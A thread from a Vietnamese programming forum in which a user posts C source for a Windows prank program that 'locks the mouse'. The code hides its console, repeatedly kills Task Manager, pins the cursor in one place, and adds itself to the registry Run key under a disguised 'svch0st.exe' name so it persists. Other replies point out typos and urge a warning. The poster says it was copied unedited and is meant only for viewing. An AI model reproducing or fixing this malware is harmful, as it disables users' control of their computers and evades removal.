Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Kết quả 1 đến 5 của 5
  1. #1
    Bạn này copy cái mã từ đâu về, chưa chịu chỉnh sửa, chắc cũng chưa biên dịch, đã thảy lên rồi, vội quá.
    Mới đọc qua bằng mắt đã thấy có 2 chỗ có vấn đề:
    1. "c:\\WINDOWS\\svch0st.exe". Bật Task Manager lên chỉ thấy có "svchost.exe" thôi nhé.
    2. "SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run". Vội đến nỗi chưa kịp xóa khoảng trống giữa 2 dấu "\ \".
    Sửa lại nhé bạn! Thân.

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Code C khóa chuột máy tính. Buồn buồn nghịch chơi tí :)

    #include <windows.h>
    #include <winbase.h>
    #include <tlhelp32.h>
    #include <ctype.h>
    #include <string.h>

    #define BUFSIZE 90

    int test_key(void);
    int create_key(char *);
    int kill(void);

    BOOL KillProcess(LPSTR lpszExecutable)
    {
    BOOL bResult = FALSE;
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(Process32First(hProcesses, &pe32)){
    do{
    if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
    if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
    TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
    }
    }
    }while(Process32Next(hProcesses, &pe32));
    CloseHandle(hProcesses);
    }
    return bResult;
    }

    int main(void)
    {
    int test,create;
    test=test_key();

    if (test==2)
    {
    char *path="c:\\WINDOWS\\svch0st.exe";
    create=create_key(path);

    }

    HWND inv;
    AllocConsole();
    inv=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(inv,0);
    int c;
    for(c=0;c<999999999999;c++)
    {
    kill();
    SetCursorPos(1,900);
    Sleep(9);
    }
    }

    int test_key(void)
    {
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QU ERY_VALUE,&hKey);
    if(reg_key!=0)
    {
    check=1;
    return check;
    }

    reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
    check=2;
    if(reg_key==0)
    check=0;

    RegCloseKey(hKey);
    return check;
    }

    int create_key(char *path)
    {
    int reg_key,check;

    HKEY hkey;

    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    if(reg_key==0)
    {
    RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
    }
    if(reg_key!=0)
    check=1;

    return check;
    }

    int kill(void)
    {
    return KillProcess("taskmgr.exe");
    }

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    ò. cảm ơn góp ý sâu sắc của anh!. Đương nhiên em biết 2 vấn đề mà anh đề cập, và em không dại gì mà thử trò này, em bê nguyên của tác giả lên được chưa anh. [IMG]images/smilies/wink.png[/IMG]

  4. #4
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Nếu vậy thì bạn cũng nên cảnh báo chứ nhỉ, đó mới là chia sẻ và học hỏi. Bạn đã không dại gì thử trò này, vậy nếu bạn nào khác cố gắng chỉnh sửa, biên dịch rồi chạy thì sẽ ra sao.
    Thôi, lần sau đừng thử như vậy nữa bạn, chia sẻ vài cảm nghĩ với bạn, thân !

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    anh căng thẳng quá rồi.hihi. Em nghĩ chắc chẳng có ai dại mà thử. Muốn đem lên cho mọi người xem code thôi mà [IMG]images/smilies/biggrin.png[/IMG]

    - - - Nội dung đã được cập nhật ngày 04-05-2014 lúc 09:28 PM - - -

    em nghĩ chẳng có ai dại mà thử đâu. Muốn show lên cho mọi người xem code thôi [IMG]images/smilies/biggrin.png[/IMG]

 

 

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •